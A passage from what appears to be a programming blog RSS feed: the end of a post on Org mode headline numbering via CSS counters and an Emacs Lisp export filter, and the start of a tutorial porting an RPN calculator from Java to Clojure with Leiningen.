&lt;span class="nt"&gt;h4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;counter-reset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;paragraph&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;h5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;counter-reset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subparagraph&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;/* prepend section numbers before headlines */&lt;/span&gt;
&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;counter-increment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subsection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;counter-increment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subsection&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;h4&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subsection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subsubsection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;counter-increment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subsubsection&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;h5&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subsection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subsubsection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;paragraph&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;counter-increment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;paragraph&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;h6&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subsection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subsubsection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;paragraph&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subparagraph&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;counter-increment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subparagraph&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;/* suppress numbering for headlines with class=&amp;quot;nonumber&amp;quot; */&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;nonumber&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;With this in place, we can extend the previous filter to work for HTML as well as LaTeX:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;headline-numbering-filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;backend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;No numbering in headlines that have a property :numbers: no&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;beg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;next-property-change&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;headline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;beg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;get-text-property&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;beg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;:parent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;string=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;org-element-property&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;:NUMBERS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;headline&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;no&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;cond&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;backend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'latex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;replace-regexp-in-string&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\(part\\|chapter\\|\\(?:sub\\)*section\\|\\(?:sub\\)?paragraph\\)&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\1*&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;backend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'html&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;replace-regexp-in-string&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\(&amp;lt;h[1-6]\\)\\([^&amp;gt;]*&amp;gt;\\)&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\1 class=\&amp;quot;nonumber\&amp;quot;\\2&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;org-export-filter-headline-functions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;'&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;headline-numbering-filter&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Previously, I implemented this in Org mode only (no CSS). While that worked as well, it required the modification of some fairly low-level Org functions. The CSS-based solution is much simpler, and should be much easier to maintain and adapt.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Wed, 03 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2014-12-03-org-numbering.html</guid></item><item><title>RPN Calc Part 8 – Moving to Clojure</title><link>https://mschaef.com/ksm/rpncalc_08</link><description>&lt;p&gt;&lt;a href="/ksm/rpncalc_07"&gt;So far in this series&lt;/a&gt;, I’ve taken a basic calculator written in Java and transformed it from a command-oriented procedural design into a more functional style. In some ways, this has made for simpler code: calculator state is better encapsulated in value objects, and explicit control flow structures have been replaced with domain-specific higher order functions. Unfortunately, Java wasn’t designed to be a functional language, so the notation has become progressively more cumbersome and lengthy. 151 lines of idiomatic Java is now 327 lines of inner classes, custom iterators, and inverted control flow patterns. It should be difficult to get this kind of code through a serious Java code review.&lt;/p&gt;&lt;p&gt;Despite this difficulty, there is value in the functional design approach; What we need is a new notation. To show what I mean, this article switches gears and ports the latest version of the calculator from Java to Clojure. This reduces the size of the code from 327 lines down to a more reasonable-for-the-functionality 82. More importantly, the new notation opens up new opportunities for better expressiveness and further optimization. Building on the Clojure port, I’ll ultimately build out a version of the calculator that uses eval for legitimate purposes, and compiles calculator macros and can run them almost as fast as code written directly in Java.&lt;/p&gt;&lt;p&gt;The first step to understanding the Clojure port is to understand how it’s built from source. For the Java versions of the code, I used Apache Maven to automate the build process. Maven provides standard access to dependencies, a standard project directory structure, and a standard set of verbs for building, installing, and running the project. In the Clojure world, the equivalent tool is called Leiningen. It provides the same structure and services for a Clojure project as Maven does for a Java project, including the ability to pull in Maven dependencies. While it’s possible to build Clojure code with Maven, Leiningen is a better choice for new work, largely because it’s more well integrated into the Clojure ecosystem out of the box.&lt;/p&gt;&lt;p&gt;For the RPN calculator project, the project definition file looks like this:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-name"&gt;defproject&lt;/span&gt; rpn-calc &lt;span class="hljs-string"&gt;&amp;quot;0.1.0-SNAPSHOT&amp;quot;&lt;/span&gt;
  &lt;span class="hljs-symbol"&gt;:description&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;quot;KSM Partners - RPN Calculator&amp;quot;&lt;/span&gt;
 
  &lt;span class="hljs-symbol"&gt;:license&lt;/span&gt; {&lt;span class="hljs-symbol"&gt;:name&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;quot;Eclipse Public License&amp;quot;&lt;/span&gt;
            &lt;span class="hljs-symbol"&gt;:url&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;quot;http://www.eclipse.org/legal/epl-v10.html&amp;quot;&lt;/span&gt;}
 
  &lt;span class="hljs-symbol"&gt;:dependencies&lt;/span&gt; [[org.clojure/clojure &lt;span class="hljs-string"&gt;&amp;quot;1.5.0&amp;quot;&lt;/span&gt;]]
 
  &lt;span class="hljs-symbol"&gt;:repl-options&lt;/span&gt; {
                 &lt;span class="hljs-symbol"&gt;:host&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;quot;0.0.0.0&amp;quot;&lt;/span&gt;
                 &lt;span class="hljs-symbol"&gt;:port&lt;/span&gt; &lt;span class="hljs-number"&gt;53095&lt;/span&gt;
                 }
 
  &lt;span class="hljs-symbol"&gt;:main&lt;/span&gt; rpn-calc.main)
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;This file contains the same sorts of information as the equivalent POM file for the Java version of the project. (In fact, Leiningen provides way to take a Leiningen project definition file and translate it into an equivalent Maven &lt;code&gt;pom.xml&lt;/code&gt;.) Rather than XML, the Leiningen project file is written in an S-expression, and it contains a few additional settings. Notably, the last line is the name of the project’s entry point: the function that gets called when Leiningen runs the project. For this project, &lt;code&gt;rpn-calc.main&lt;/code&gt; is a function that ultimately delegates to one of three entry points for the three Clojure versions of the calculator. For this post, the implementation specific entry point looks like this:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-keyword"&gt;defn&lt;/span&gt; &lt;span class="hljs-title"&gt;main&lt;/span&gt; []
  (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;loop&lt;/span&gt;&lt;/span&gt; [ state (&lt;span class="hljs-name"&gt;make-initial-state&lt;/span&gt;) ]
    (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;let&lt;/span&gt;&lt;/span&gt; [command (&lt;span class="hljs-name"&gt;parse-command-string&lt;/span&gt; (&lt;span class="hljs-name"&gt;read-command-string&lt;/span&gt; state))]
      (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;if-let&lt;/span&gt;&lt;/span&gt; [new-state (&lt;span class="hljs-name"&gt;apply-command&lt;/span&gt; state command)]
        (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;recur&lt;/span&gt;&lt;/span&gt; new-state)
        &lt;span class="hljs-literal"&gt;nil&lt;/span&gt;))))
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;&lt;span class="hljs-keyword"&gt;public&lt;/span&gt; &lt;span class="hljs-keyword"&gt;void&lt;/span&gt; &lt;span class="hljs-title function_"&gt;main&lt;/span&gt;&lt;span class="hljs-params"&gt;()&lt;/span&gt; &lt;span class="hljs-keyword"&gt;throws&lt;/span&gt; Exception
{
    &lt;span class="hljs-type"&gt;State&lt;/span&gt; &lt;span class="hljs-variable"&gt;state&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;State&lt;/span&gt;();
 
    &lt;span class="hljs-keyword"&gt;while&lt;/span&gt;(state != &lt;span class="hljs-literal"&gt;null&lt;/span&gt;) {
        System.out.println();
        showStack(state);
        System.out.print(&lt;span class="hljs-string"&gt;&amp;quot;&amp;gt; &amp;quot;&lt;/span&gt;);
 
        &lt;span class="hljs-type"&gt;String&lt;/span&gt; &lt;span class="hljs-variable"&gt;cmdLine&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; System.console().readLine();
 
        &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (cmdLine == &lt;span class="hljs-literal"&gt;null&lt;/span&gt;)
            &lt;span class="hljs-keyword"&gt;break&lt;/span&gt;;
 
        &lt;span class="hljs-type"&gt;Command&lt;/span&gt; &lt;span class="hljs-variable"&gt;cmd&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; parseCommandString(cmdLine);
 
        state = cmd.execute(state);
    }
}
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Unwrapping the code, both function definitions include construction of the initial state and then the body of the Read-Eval-Print-Loop. These two lines of code include both elements.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;loop&lt;/span&gt;&lt;/span&gt; [ state (&lt;span class="hljs-name"&gt;make-initial-state&lt;/span&gt;) ]
    ...
    (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;recur&lt;/span&gt;&lt;/span&gt; new-state))
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;loop&lt;/code&gt; form, surrounded by parentheses, is the body of the loop. Any loop iteration variables are defined and initialized within the bracketed form at the beginning of the loop. In this case, a variable state is initialized to hold the value returned by a call to make-initial-state. Within the body of the loop, there can be one or more recur forms that jump back to the beginning of the loop and provide new values for all the iteration variables defined for the loop. This gives a bit more flexibility than Java’s while loop: there can be multiple jumps to the beginning of a loop.&lt;/p&gt;&lt;p&gt;The body of this &lt;code&gt;loop&lt;/code&gt; form is entirely composed of a &lt;code&gt;let&lt;/code&gt; form. A &lt;code&gt;let&lt;/code&gt; form establishes local variable bindings over a block of source code and provides initial values for those variables. If this sounds a lot like a loop form without the looping, that’s exactly what it is.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;let&lt;/span&gt;&lt;/span&gt; [command (&lt;span class="hljs-name"&gt;parse-command-string&lt;/span&gt; (&lt;span class="hljs-name"&gt;read-command-string&lt;/span&gt; state))]
   ...)
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt; &lt;br /&gt;&lt;p&gt;This code calls &lt;code&gt;read-command-string&lt;/code&gt;, passing in the current state and then passes the returned command string into a call to &lt;code&gt;parse-command-string&lt;/code&gt;. The result of this two step read process is the Clojure equivalent of a command object, which is modeled as a function from a calculator state to a state.&lt;/p&gt;&lt;p&gt;Digressing a moment, there are several attributes of the Clojure syntax that are worth pointing out. The most important is that, as with most Lisps, parenthesis play a major role in the syntax of the language. Parenthesis (and braces and brackets) delimit all statements and expressions, group statements into logical blocks, delimit function definitions, and serve as the syntax for composite object literals. In contrast, a language like Java uses a combination of semicolons, braces, and parsing grammar to serve the same purposes. This gives Clojure a more homogeneous syntax, but a syntax with fewer rules that’s easier to parse and analyze. Explicit statement delimiters also allow Lisp more freedom to pick symbol names. Symbols in Lisp can include characters (‘-‘, ‘&lt;', '&amp;', etc.) that infix languages can't use for the purpose, because the explicit statement grouping makes it easier to distinguish a symbol from its context. The topic of Lisp syntax is really interesting enough for its own lengthy series of posts and articles. Going back to the Clojure calculator's main loop, the next statement in the loop is yet another binding form. Like loop, this binding form also includes an element of control flow.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;if-let&lt;/span&gt;&lt;/span&gt; [new-state (&lt;span class="hljs-name"&gt;apply-command&lt;/span&gt; state command)]
   (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;recur&lt;/span&gt;&lt;/span&gt; new-state)
   &lt;span class="hljs-literal"&gt;nil&lt;/span&gt;)
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;It may be easiest to see the meaning of this block of code by paraphrasing it into Java:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;&lt;span class="hljs-type"&gt;State&lt;/span&gt; &lt;span class="hljs-variable"&gt;newState&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; applyCommand(state, command);
 
&lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (newState != &lt;span class="hljs-literal"&gt;null&lt;/span&gt;)
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; recur(newState);
&lt;span class="hljs-keyword"&gt;else&lt;/span&gt;
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-literal"&gt;null&lt;/span&gt;;
